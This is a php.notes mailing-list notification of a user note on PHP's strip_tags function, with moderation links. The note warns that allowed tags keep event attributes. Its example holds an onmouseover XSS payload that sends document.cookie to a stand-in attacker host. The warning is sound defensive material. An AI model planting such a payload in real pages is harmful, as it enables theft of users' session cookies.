note 115354 added to function.strip-tags
| From: | bnt dot gloria at outlook dot com | Date: | Thu, 10 Jul 2014 15:52:58 +0000 |
| Subject: | note 115354 added to function.strip-tags | ||
| Groups: | php.notes | ||
| Request: | Send a blank email to php-notes+get-199908@lists.php.net to get a copy of this message | ||
With allowable_tags, strip-tags is not safe.
<?php
$str= "<p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\">
don't mouseover </p>";
$str= strip_tags($str, '<p>');
echo $str; // DISPLAY: <p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\">
don't mouseover </p>";
?>
----
Server IP: 72.52.91.14
Probable Submitter: 82.121.225.155
----
Manual Page -- http://php.net/manual/en/function.strip-tags.php
Edit -- https://master.php.net/note/edit/115354
Del: integrated -- https://master.php.net/note/delete/115354/integrated
Del: useless -- https://master.php.net/note/delete/115354/useless
Del: bad code -- https://master.php.net/note/delete/115354/bad+code
Del: spam -- https://master.php.net/note/delete/115354/spam
Del: non-english -- https://master.php.net/note/delete/115354/non-english
Del: in docs -- https://master.php.net/note/delete/115354/in+docs
Del: other reasons-- https://master.php.net/note/delete/115354
Reject -- https://master.php.net/note/reject/115354
Search -- https://master.php.net/manage/user-notes.php